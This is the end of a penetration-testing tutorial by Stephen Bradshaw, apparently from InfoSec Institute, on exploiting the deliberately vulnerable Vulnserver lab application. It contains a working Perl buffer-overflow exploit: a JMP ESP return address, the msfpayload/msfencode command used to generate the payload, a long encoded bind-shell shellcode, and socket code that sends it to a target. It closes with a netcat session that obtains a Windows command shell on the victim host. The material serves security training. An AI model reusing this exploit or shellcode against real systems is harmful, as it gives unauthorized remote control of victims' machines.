$baddata .= pack('V', 0x62501203); # JMP ESP, essfunc.dll

#msfpayload windows/shell_bind_tcp LPORT=4567 R | msfencode -e x86/alpha_mixed -t perl -b 'x00x0ax0d' BufferRegister=ESP

$baddata .= "x54x59x49x49x49x49x49x49x49x49x49x49x49x49" .

"x49x49x49x49x37x51x5ax6ax41x58x50x30x41x30" .

"x41x6bx41x41x51x32x41x42x32x42x42x30x42x42" .

"x41x42x58x50x38x41x42x75x4ax49x4bx4cx4dx38" .

"x4cx49x47x70x47x70x43x30x51x70x4fx79x58x65" .

"x54x71x4ex32x51x74x4cx4bx51x42x54x70x4ex6b" .

"x43x62x54x4cx4ex6bx50x52x45x44x4cx4bx54x32" .

"x47x58x54x4fx4dx67x43x7ax56x46x54x71x4bx4f" .

"x45x61x4bx70x4ex4cx47x4cx43x51x43x4cx47x72" .

"x56x4cx51x30x4bx71x58x4fx56x6dx56x61x4fx37" .

"x4dx32x4cx30x52x72x50x57x4ex6bx52x72x56x70" .

"x4ex6bx51x52x47x4cx56x61x5ax70x4cx4bx43x70" .

"x50x78x4fx75x4bx70x54x34x51x5ax43x31x5ax70" .

"x50x50x4ex6bx51x58x52x38x4ex6bx43x68x45x70" .

"x45x51x5ax73x4bx53x47x4cx51x59x4ex6bx50x34" .

"x4ex6bx47x71x4ex36x56x51x4bx4fx45x61x49x50" .

"x4ex4cx4bx71x5ax6fx54x4dx47x71x49x57x50x38" .

"x4bx50x43x45x4bx44x54x43x51x6dx58x78x47x4b" .

"x51x6dx45x74x52x55x4bx52x52x78x4cx4bx56x38" .

"x47x54x43x31x5ax73x52x46x4cx4bx56x6cx52x6b" .

"x4ex6bx43x68x47x6cx47x71x5ax73x4cx4bx45x54" .

"x4ex6bx43x31x58x50x4bx39x47x34x45x74x47x54" .

"x43x6bx51x4bx43x51x50x59x50x5ax50x51x4bx4f" .

"x4dx30x43x68x51x4fx51x4ax4cx4bx52x32x58x6b" .

"x4ex66x43x6dx51x78x56x53x47x42x47x70x45x50" .

"x52x48x51x67x54x33x47x42x43x6fx51x44x43x58" .

"x50x4cx43x47x47x56x45x57x4bx4fx49x45x4ex58" .

"x4cx50x47x71x43x30x43x30x47x59x58x44x51x44" .

"x56x30x50x68x47x59x4dx50x50x6bx43x30x4bx4f" .

"x4bx65x50x50x56x30x56x30x52x70x47x30x52x70" .

"x43x70x52x70x50x68x49x7ax56x6fx49x4fx49x70" .

"x49x6fx49x45x4fx79x58x47x50x31x49x4bx51x43" .

"x51x78x54x42x47x70x52x31x5ax77x4fx79x49x76" .

"x43x5ax52x30x51x46x50x57x45x38x5ax62x4bx6b" .

"x50x37x51x77x4bx4fx49x45x52x73x50x57x51x78" .

"x4cx77x4bx59x56x58x4bx4fx4bx4fx5ax75x43x63" .

"x43x63x56x37x52x48x51x64x5ax4cx47x4bx4bx51" .

"x49x6fx4bx65x52x77x4cx49x4bx77x45x38x54x35" .

"x50x6ex50x4dx45x31x49x6fx4ex35x43x58x50x63" .

"x52x4dx50x64x47x70x4cx49x4dx33x43x67x50x57" .

"x50x57x56x51x4cx36x51x7ax56x72x52x79x50x56" .

"x58x62x49x6dx45x36x49x57x43x74x54x64x47x4c" .

"x45x51x47x71x4ex6dx50x44x56x44x52x30x49x56" .

"x45x50x47x34x51x44x56x30x56x36x52x76x43x66" .

"x50x46x50x56x52x6ex52x76x50x56x52x73x52x76" .

"x43x58x50x79x5ax6cx47x4fx4cx46x4bx4fx4ex35" .

"x4cx49x49x70x50x4ex56x36x51x56x4bx4fx50x30" .

"x50x68x45x58x4ex67x47x6dx43x50x49x6fx5ax75" .

"x4dx6bx5ax50x4dx65x4cx62x56x36x45x38x4dx76" .

"x4cx55x4dx6dx4fx6dx4bx4fx4ex35x45x6cx47x76" .

"x51x6cx45x5ax4bx30x49x6bx4bx50x43x45x47x75" .

"x4dx6bx50x47x56x73x50x72x52x4fx50x6ax43x30" .

"x51x43x49x6fx58x55x41x41";

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

Restart the program in the debugger and run the new exploit.

Now attempt to connect to port 4567 on the victim system...

stephen@lion:~/Vulnserver$ nc.traditional -nvv 192.168.56.101 4567

(UNKNOWN) [192.168.56.101] 4567 (?) open

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsStephen>

 

 

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

We have shell! Another exploit complete!

Stephen Bradshaw
Stephen Bradshaw

Stephen Bradshaw is security researcher for InfoSec Institute and an IT Security Specialist in Australia, with a focus on the areas of penetration testing and incident detection and response.